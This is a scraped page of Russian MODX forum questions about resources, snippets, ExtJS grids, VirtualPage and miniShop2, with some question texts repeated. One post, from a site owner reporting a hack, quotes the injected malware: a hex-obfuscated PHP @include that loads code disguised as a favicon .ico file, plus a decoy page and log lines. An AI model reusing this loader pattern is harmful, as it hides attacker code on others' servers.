Вопросы
Смена родительского ресурса по расписанию
Здравствуйте. Подскажите пожалуйста, как сделать автоматический перенос ресурса из одного родителя в другой, по расписанию. К примеру есть ресурсы в родителе с id 5, нужно что бы, допустим, по наступлении даты отмены публикации он переносился в родитель под id 7.
Массовое создание элементов
Есть текстовый файл вида
[[*pagetitle]]= имя элемента
[[*description]] = описание элемента
TV-параметр = категория элемента
имя элемента | описание элемента | категория элементана несколько сотен строк. можно как-то из него создать аналогичное количество ресурсов в MODX соответственно[[*pagetitle]]= имя элемента
[[*description]] = описание элемента
TV-параметр = категория элемента
Как вывести ресурс, который является родителем по отношению к текущему ресурсу?
Есть структура такого вида:
Категория (1)
Категория (2)
Начал я примерно так, но, разумеется, выводится контент обеих категорий.
Как указать, что нужно выводить контент для id, которое является родителем по отношению к текущему ресурсу?
То есть для 3,4 должен выводиться 1, а для 5,6 — 2 и тд.
Категория (1)
- Товар (3)
- Товар (4)
Категория (2)
- Товар (5)
- Товар (6)
Начал я примерно так, но, разумеется, выводится контент обеих категорий.
[[!pdoResources?
&parents=`0`
&depth=`0`
&select=`content`
&tpl=`myTpl`
]]Как указать, что нужно выводить контент для id, которое является родителем по отношению к текущему ресурсу?
То есть для 3,4 должен выводиться 1, а для 5,6 — 2 и тд.
Турбо страницы / AMP на modx
Занимаюсь сео, на многих клиентских сайтах поставили турбо и amp, полет отличный.
Хотел, предложить разработчикам, сделать простенький модуль под modx. Спрос в связи с хайпом будет нормальный, труда думаю не много займет. Я по крайней мере, бы, купил от 500-1000р. Да, без плагинов все настраивается легко, но аудитория думаю не только разработчики.
Хотел, предложить разработчикам, сделать простенький модуль под modx. Спрос в связи с хайпом будет нормальный, труда думаю не много займет. Я по крайней мере, бы, купил от 500-1000р. Да, без плагинов все настраивается легко, но аудитория думаю не только разработчики.
MobileDetect 2.0.0-pl функция "планшеты как стандартные браузеры не работает"
Добрый день в версии 2.0.0-pl, в режиме сниппета не работает функция «планшеты как стандартные браузеры». В системных настройках выставил «Да». Всё равно определяет как планшет. В режиме тегов всё нормально. Десктоп и мобильный определяет вроде нормально.
ExtJs. Использование SuperBoxSelect в Grid
Добрый вечер/день/утро)
Пытаюсь использовать SuperBoxSelect в Grid.
Подскажите пожалуйста, в чем может быть проблема? Может я выбрал/придумал не верный метод и на самом деле надо делать иначе? Опять же, если лень пояснять как надо, то киньте линк в исходники похожей ситуации. В любом случае в долгу не останусь…
Пытаюсь использовать SuperBoxSelect в Grid.
...
columns: [
this.sm,
{dataIndex: 'id', width: 100, header: 'ID'},
{dataIndex: 'name', width: 400, header: 'Name'},
{dataIndex: 'block', width: 500, header: 'Block',
editor: {
// тут я его вызываю
xtype:'combo-superselect-collection',
disabled: false,
id: Ext.id() + 'combo-superselect-collection',
renderer: function(v) {
// по идее, сюда он должен прилететь в виде строки
return v.toString();
},
listeners: {
additem: function(r){
// тут обрабатываю полученные значения
this.getSelect(r.id);
},
removeitem: function(r){
this.getSelect(r.id);
},
scope: this
}
}
},
],
...В getSelect:...
getSelect: function(val){
var element = Ext.getCmp(val);
var items = element.items.items;
var itemsText = '';
for(var i = 0; i <= items.length-1; i++){
itemsText += items[i]['value'] + ': ' + items[i]['caption'] + ',';
}
itemsText = itemsText.slice(0, -1);
element.renderer = itemsText;
// тут сформированная строка летит в renderer
compilation.renderer = itemsText;
},
...Мысль такая, получить данные из SuperBoxSelect, превратить в строку и вывести через запятую в renderer (насколько я понял именно туда он и должен лететь). При двойном клике все в порядке, SuperBoxSelect срабатывает и можно выбрать элементы, сами элементы обрабатываются тоже корректно. Но когда SuperBoxSelect закрывается, все очищается! При этом в console.log(element) все как надо, и именно при окончании выбора происходит очищение.Подскажите пожалуйста, в чем может быть проблема? Может я выбрал/придумал не верный метод и на самом деле надо делать иначе? Опять же, если лень пояснять как надо, то киньте линк в исходники похожей ситуации. В любом случае в долгу не останусь…
Как пользоваться VirtualPage
Простите за сеошный заголовок. Искал пошаговую инструкция и в сети и на modx.pro.
Поделитесь ссылкой пожалуйста, если есть статья, где подробно, описывается, процесс создания виртуальных страниц.
Имеем урл: сайт.ру/категория/товар
Хочу вынести отзывы о товаре на отдельную страницу сайт.ру/категория/товар/отзывы-о-товаре
Для отзывов использую easyComm
Есть еще задача посложнее, с которой, надеюсь VirtualPage справится.
В карточке товара, в характеристиках сделать, некоторые значения характеристик ссылкой.
Например: Цвет товара — красный (где красный, ссылка на виртуальную страницу, со всеми товарами сайта, красного цвета)
Если я не правильно планирую использовать для этого VirtualPage, просьба подсказать более правильное решение. Так-как такие перекрестные ссылки, тренд 2017-2018 года, я думаю кто-то, уже это делал и есть готовое решение, за которое я готов и заплатить.
Всем тепла в этом и следующем году
Поделитесь ссылкой пожалуйста, если есть статья, где подробно, описывается, процесс создания виртуальных страниц.
Имеем урл: сайт.ру/категория/товар
Хочу вынести отзывы о товаре на отдельную страницу сайт.ру/категория/товар/отзывы-о-товаре
Для отзывов использую easyComm
Есть еще задача посложнее, с которой, надеюсь VirtualPage справится.
В карточке товара, в характеристиках сделать, некоторые значения характеристик ссылкой.
Например: Цвет товара — красный (где красный, ссылка на виртуальную страницу, со всеми товарами сайта, красного цвета)
Если я не правильно планирую использовать для этого VirtualPage, просьба подсказать более правильное решение. Так-как такие перекрестные ссылки, тренд 2017-2018 года, я думаю кто-то, уже это делал и есть готовое решение, за которое я готов и заплатить.
Всем тепла в этом и следующем году
Взлом сайта
Добрый день.
Сегодня зарегистрировали взлом сайта. При поиске по серверу были обнаружены следующие файлы:
Сегодня зарегистрировали взлом сайта. При поиске по серверу были обнаружены следующие файлы:
/core/lexicon/index.phpс таким содержимым:
<?php
/*93a2a*/
@include "\x2fva\x72/w\x77w/\x75se\x726/\x64at\x61/w\x77w/\x64iz\x61in\x76ol\x6fs.\x72u/\x63or\x65/m\x6fde\x6c/a\x77s/\x66av\x69co\x6e_e\x39e6\x35a.\x69co";
/*93a2a*/
echo file_get_contents('index.html.bak.bak');И рядышком файлindex.html.bak.bakс таким содержимым:
<h2>Unauthorized access</h2>
You're not allowed to access file folderВ логах много таких записей:«GET /site/emvkdb.php?nuxk=2011-nissan-gtr-for-sale HTTP/1.0» 200 4080 "-" «Mozilla/5.0 (compatible; MJ12bot/v1.4.7; mj12bot.com/)»Конструкция из файла index.php обнаружена в нескольких файлах, с разными символами, но принцип один и тот же. Скажите, была и ли кого-то такая проблема и как ее решали? Ну и в целом как обезопасить себя от подобных неприятностей?
mFilter2 фильтрация по категориям
Можно ли как то реализовать фильтрацию по категориям, например структура такая:
1-й селект:
<ul>
<li>Категория 1
<ul>
<li>Подкатегория 1</li>
<li>Подкатегория 2</li>
</ul>
</li>
<li>Категория 2
<ul>
<li>Подкатегория 3</li>
<li>Подкатегория 4</li>
</ul>
</li>
</ul>Т.е. в фильтрах должны быть селекты:1-й селект:
Категория 1
Категория 22-й селект:Подкатегория 1
Подкатегория 2
Подкатегория 3
Подкатегория 4ну и что бы исключения работали, селектов может быть и больше. Не удаляются категории из таблицы modx_ms2_product_options
Версия MODX: 2.6.1-pl
Версия minishop2: 2.4.11-pl
1. Добавляю опцию.
2. Указываю для неё категории.
Категории попадают в таблицу modx_ms2_product_options
4. Убираю категорию из опции
Запись из таблицы modx_ms2_product_options не удаляется
Версия minishop2: 2.4.11-pl
1. Добавляю опцию.
2. Указываю для неё категории.
Категории попадают в таблицу modx_ms2_product_options
4. Убираю категорию из опции
Запись из таблицы modx_ms2_product_options не удаляется